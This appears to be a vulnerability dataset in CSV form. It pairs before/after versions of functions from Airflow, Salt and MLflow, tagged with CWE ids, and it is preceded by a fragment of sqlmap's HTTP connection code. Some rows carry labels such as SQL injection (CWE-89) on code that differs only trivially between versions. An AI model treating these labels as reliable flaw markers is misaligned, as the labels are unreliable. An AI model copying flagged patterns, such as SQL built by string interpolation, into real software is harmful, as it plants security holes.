                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        if conf.retryOn and re.search(conf.retryOn, page, re.I):
            if threadData.retriesCount < conf.retries:
                warnMsg = ""forced retry of the request because of undesired page content""
                logger.warn(warnMsg)
                return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_xcom.py,1,"def test_should_respond_200_native(self, test_client):
        self._create_xcom(TEST_XCOM_KEY, TEST_XCOM_VALUE)
        response = test_client.get(
            f""/dags/{TEST_DAG_ID}/dagRuns/{run_id}/taskInstances/{TEST_TASK_ID}/xcomEntries/{TEST_XCOM_KEY}""
        )
        assert response.status_code == 200

        current_data = response.json()
        assert current_data == {
            ""dag_id"": TEST_DAG_ID,
            ""logical_date"": logical_date_parsed.strftime(""%Y-%m-%dT%H:%M:%SZ""),
            ""run_id"": run_id,
            ""key"": TEST_XCOM_KEY,
            ""task_id"": TEST_TASK_ID,
            ""map_index"": -1,
            ""timestamp"": current_data[""timestamp""],
            ""value"": json.dumps(TEST_XCOM_VALUE),
        }",CWE-703,apache/airflow,831f12ad7e2cff25c8007583521d664a5e9f21e6,"def test_should_respond_200_native(self, test_client):
        self._create_xcom(TEST_XCOM_KEY, TEST_XCOM_VALUE)
        response = test_client.get(
            f""/api/v2/dags/{TEST_DAG_ID}/dagRuns/{run_id}/taskInstances/{TEST_TASK_ID}/xcomEntries/{TEST_XCOM_KEY}""
        )
        assert response.status_code == 200

        current_data = response.json()
        assert current_data == {
            ""dag_id"": TEST_DAG_ID,
            ""logical_date"": logical_date_parsed.strftime(""%Y-%m-%dT%H:%M:%SZ""),
            ""run_id"": run_id,
            ""key"": TEST_XCOM_KEY,
            ""task_id"": TEST_TASK_ID,
            ""map_index"": -1,
            ""timestamp"": current_data[""timestamp""],
            ""value"": json.dumps(TEST_XCOM_VALUE),
        }"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/minions.py,0,"def connected_ids(self, subset=None, show_ip=False, include_localhost=None):
        """"""
        Return a set of all connected minion ids, optionally within a subset
        """"""
        if include_localhost is not None:
            salt.utils.versions.warn_until(
                ""Sodium"",
                ""The 'include_localhost' argument is no longer required; any""
                ""connected localhost minion will always be included."",
            )
        minions = set()
        if self.opts.get(""minion_data_cache"", False):
            search = self.cache.list(""minions"")
            if search is None:
                return minions
            addrs = salt.utils.network.local_port_tcp(int(self.opts[""publish_port""]))
            if ""127.0.0.1"" in addrs:
                # Add in the address of a possible locally-connected minion.
                addrs.discard(""127.0.0.1"")
                addrs.update(set(salt.utils.network.ip_addrs(include_loopback=False)))
            if ""::1"" in addrs:
                # Add in the address of a possible locally-connected minion.
                addrs.discard(""::1"")
                addrs.update(set(salt.utils.network.ip_addrs6(include_loopback=False)))
            if subset:
                search = subset
            for id_ in search:
                try:
                    mdata = self.cache.fetch(""minions/{0}"".format(id_), ""data"")
                except SaltCacheError:
                    # If a SaltCacheError is explicitly raised during the fetch operation,
                    # permission was denied to open the cached data.p file. Continue on as
                    # in the releases <= 2016.3. (An explicit error raise was added in PR
                    # #35388. See issue #36867 for more information.
                    continue
                if mdata is None:
                    continue
                grains = mdata.get(""grains"", {})
                for ipv4 in grains.get(""ipv4"", []):
                    if ipv4 in addrs:
                        if show_ip:
                            minions.add((id_, ipv4))
                        else:
                            minions.add(id_)
                        break
                for ipv6 in grains.get(""ipv6"", []):
                    if ipv6 in addrs:
                        if show_ip:
                            minions.add((id_, ipv6))
                        else:
                            minions.add(id_)
                        break
        return minions",,saltstack/salt,8e4b94d8475afcdb67b1c7377952713c45bc1409,"def connected_ids(self, subset=None, show_ip=False, include_localhost=None):
        """"""
        Return a set of all connected minion ids, optionally within a subset
        """"""
        if include_localhost is not None:
            salt.utils.versions.warn_until(
                ""3001"",
                ""The 'include_localhost' argument is no longer required; any""
                ""connected localhost minion will always be included."",
            )
        minions = set()
        if self.opts.get(""minion_data_cache"", False):
            search = self.cache.list(""minions"")
            if search is None:
                return minions
            addrs = salt.utils.network.local_port_tcp(int(self.opts[""publish_port""]))
            if ""127.0.0.1"" in addrs:
                # Add in the address of a possible locally-connected minion.
                addrs.discard(""127.0.0.1"")
                addrs.update(set(salt.utils.network.ip_addrs(include_loopback=False)))
            if ""::1"" in addrs:
                # Add in the address of a possible locally-connected minion.
                addrs.discard(""::1"")
                addrs.update(set(salt.utils.network.ip_addrs6(include_loopback=False)))
            if subset:
                search = subset
            for id_ in search:
                try:
                    mdata = self.cache.fetch(""minions/{0}"".format(id_), ""data"")
                except SaltCacheError:
                    # If a SaltCacheError is explicitly raised during the fetch operation,
                    # permission was denied to open the cached data.p file. Continue on as
                    # in the releases <= 2016.3. (An explicit error raise was added in PR
                    # #35388. See issue #36867 for more information.
                    continue
                if mdata is None:
                    continue
                grains = mdata.get(""grains"", {})
                for ipv4 in grains.get(""ipv4"", []):
                    if ipv4 in addrs:
                        if show_ip:
                            minions.add((id_, ipv4))
                        else:
                            minions.add(id_)
                        break
                for ipv6 in grains.get(""ipv6"", []):
                    if ipv6 in addrs:
                        if show_ip:
                            minions.add((id_, ipv6))
                        else:
                            minions.add(id_)
                        break
        return minions"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/gdm.py,0,"def delete_deployment(
        self, project_id: Optional[str], deployment: Optional[str] = None, delete_policy: Optional[str] = None
    ) -> None:
        """"""
        Deletes a deployment and all associated resources in a google cloud project.

        :param project_id: The project ID for this request.
        :type project_id: str
        :param deployment: The name of the deployment for this request.
        :type deployment: str
        :param delete_policy: Sets the policy to use for deleting resources. (ABANDON | DELETE)
        :type delete_policy: string

        :rtype: None
        """"""
        conn = self.get_conn()
        # pylint: disable=no-member
        request = conn.deployments().delete(
            project=project_id, deployment=deployment, deletePolicy=delete_policy
        )
        resp = request.execute()
        if 'error' in resp.keys():
            raise AirflowException(
                'Errors deleting deployment: ', ', '.join(err['message'] for err in resp['error']['errors'])
            )",CWE-Unknown,apache/airflow,38301c16ee3acdfd3de6128fae5056b25cc14e4c,"def delete_deployment(
        self, project_id: Optional[str], deployment: Optional[str] = None, delete_policy: Optional[str] = None
    ) -> None:
        """"""
        Deletes a deployment and all associated resources in a google cloud project.

        :param project_id: The project ID for this request.
        :type project_id: str
        :param deployment: The name of the deployment for this request.
        :type deployment: str
        :param delete_policy: Sets the policy to use for deleting resources. (ABANDON | DELETE)
        :type delete_policy: string

        :rtype: None
        """"""
        conn = self.get_conn()
        # pylint: disable=no-member
        request = conn.deployments().delete(
            project=project_id, deployment=deployment, deletePolicy=delete_policy
        )
        resp = request.execute()
        if 'error' in resp.keys():
            raise AirflowException(
                'Errors deleting deployment: ', ', '.join([err['message'] for err in resp['error']['errors']])
            )"
,UNKNOWN,UNKNOWN,airflow/migrations/versions/0069_2_0_0_add_scheduling_decision_to_dagrun_and_.py,1,"def upgrade():
    """"""Apply Add ``scheduling_decision`` to ``DagRun`` and ``DAG``""""""
    conn = op.get_bind()
    is_sqlite = bool(conn.dialect.name == ""sqlite"")
    is_mssql = bool(conn.dialect.name == ""mssql"")

    if is_sqlite:
        op.execute(""PRAGMA foreign_keys=off"")

    with op.batch_alter_table(""dag_run"", schema=None) as batch_op:
        batch_op.add_column(sa.Column(""last_scheduling_decision"", TIMESTAMP, nullable=True))
        batch_op.create_index(""idx_last_scheduling_decision"", [""last_scheduling_decision""], unique=False)
        batch_op.add_column(sa.Column(""dag_hash"", sa.String(32), nullable=True))

    with op.batch_alter_table(""dag"", schema=None) as batch_op:
        batch_op.add_column(sa.Column(""next_dagrun"", TIMESTAMP, nullable=True))
        batch_op.add_column(sa.Column(""next_dagrun_create_after"", TIMESTAMP, nullable=True))
        # Create with nullable and no default, then ALTER to set values, to avoid table level lock
        batch_op.add_column(sa.Column(""concurrency"", sa.Integer(), nullable=True))
        batch_op.add_column(sa.Column(""has_task_concurrency_limits"", sa.Boolean(), nullable=True))

        batch_op.create_index(""idx_next_dagrun_create_after"", [""next_dagrun_create_after""], unique=False)

    try:
        from airflow.configuration import conf

        concurrency = conf.getint(""core"", ""max_active_tasks_per_dag"", fallback=16)
    except:  # noqa
        concurrency = 16

    # Set it to true here as it makes us take the slow/more complete path, and when it's next parsed by the
    # DagParser it will get set to correct value.

    op.execute(
        f""""""
        UPDATE dag SET
            concurrency={concurrency},
            has_task_concurrency_limits={1 if is_sqlite or is_mssql else sa.true()}
        where concurrency IS NULL
        """"""
    )

    with op.batch_alter_table(""dag"", schema=None) as batch_op:
        batch_op.alter_column(""concurrency"", type_=sa.Integer(), nullable=False)
        batch_op.alter_column(""has_task_concurrency_limits"", type_=sa.Boolean(), nullable=False)

    if is_sqlite:
        op.execute(""PRAGMA foreign_keys=on"")",CWE-89,apache/airflow,2b161badd200687ad07694a8f083fb929dab4392,"def upgrade():
    """"""Apply Add ``scheduling_decision`` to ``DagRun`` and ``DAG``""""""
    conn = op.get_bind()
    is_sqlite = bool(conn.dialect.name == ""sqlite"")
    is_mssql = bool(conn.dialect.name == ""mssql"")

    if is_sqlite:
        op.execute(""PRAGMA foreign_keys=off"")

    with op.batch_alter_table(""dag_run"", schema=None) as batch_op:
        batch_op.add_column(sa.Column(""last_scheduling_decision"", TIMESTAMP, nullable=True))
        batch_op.create_index(""idx_last_scheduling_decision"", [""last_scheduling_decision""], unique=False)
        batch_op.add_column(sa.Column(""dag_hash"", sa.String(32), nullable=True))

    with op.batch_alter_table(""dag"", schema=None) as batch_op:
        batch_op.add_column(sa.Column(""next_dagrun"", TIMESTAMP, nullable=True))
        batch_op.add_column(sa.Column(""next_dagrun_create_after"", TIMESTAMP, nullable=True))
        # Create with nullable and no default, then ALTER to set values, to avoid table level lock
        batch_op.add_column(sa.Column(""concurrency"", sa.Integer(), nullable=True))
        batch_op.add_column(sa.Column(""has_task_concurrency_limits"", sa.Boolean(), nullable=True))

        batch_op.create_index(""idx_next_dagrun_create_after"", [""next_dagrun_create_after""], unique=False)

    try:
        from airflow.configuration import conf

        concurrency = conf.getint(""core"", ""dag_concurrency"", fallback=16)
    except:  # noqa
        concurrency = 16

    # Set it to true here as it makes us take the slow/more complete path, and when it's next parsed by the
    # DagParser it will get set to correct value.

    op.execute(
        f""""""
        UPDATE dag SET
            concurrency={concurrency},
            has_task_concurrency_limits={1 if is_sqlite or is_mssql else sa.true()}
        where concurrency IS NULL
        """"""
    )

    with op.batch_alter_table(""dag"", schema=None) as batch_op:
        batch_op.alter_column(""concurrency"", type_=sa.Integer(), nullable=False)
        batch_op.alter_column(""has_task_concurrency_limits"", type_=sa.Boolean(), nullable=False)

    if is_sqlite:
        op.execute(""PRAGMA foreign_keys=on"")"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/sqlalchemy_store.py,0,"def _get_orderby_clauses(order_by_list, session):
    """"""Sorts a set of runs based on their natural ordering and an overriding set of order_bys.
    Runs are naturally ordered first by start time descending, then by run id for tie-breaking.
    """"""

    clauses = []
    ordering_joins = []
    clause_id = 0
    # contrary to filters, it is not easily feasible to separately handle sorting
    # on attributes and on joined tables as we must keep all clauses in the same order
    if order_by_list:
        for order_by_clause in order_by_list:
            clause_id += 1
            (key_type, key, ascending) = SearchUtils.parse_order_by_for_search_runs(order_by_clause)
            if SearchUtils.is_attribute(key_type, '='):
                order_value = getattr(SqlRun, SqlRun.get_attribute_name(key))
            else:
                if SearchUtils.is_metric(key_type, '='):  # any valid comparator
                    entity = SqlLatestMetric
                elif SearchUtils.is_tag(key_type, '='):
                    entity = SqlTag
                elif SearchUtils.is_param(key_type, '='):
                    entity = SqlParam
                else:
                    raise MlflowException(""Invalid identifier type '%s'"" % key_type,
                                          error_code=INVALID_PARAMETER_VALUE)

                # build a subquery first because we will join it in the main request so that the
                # metric we want to sort on is available when we apply the sorting clause
                subquery = session \
                    .query(entity) \
                    .filter(entity.key == key) \
                    .subquery()

                ordering_joins.append(subquery)
                order_value = subquery.c.value

            # sqlite does not support NULLS LAST expression, so we sort first by
            # presence of the field (and is_nan for metrics), then by actual value
            # As the subqueries are created independently and used later in the
            # same main query, the CASE WHEN columns need to have unique names to
            # avoid ambiguity
            if SearchUtils.is_metric(key_type, '='):
                clauses.append(sql.case([
                    (subquery.c.is_nan.is_(True), 1),
                    (order_value.is_(None), 1)
                ], else_=0).label('clause_%s' % clause_id))
            else:  # other entities do not have an 'is_nan' field
                clauses.append(sql.case([(order_value.is_(None), 1)], else_=0)
                               .label('clause_%s' % clause_id))

            if ascending:
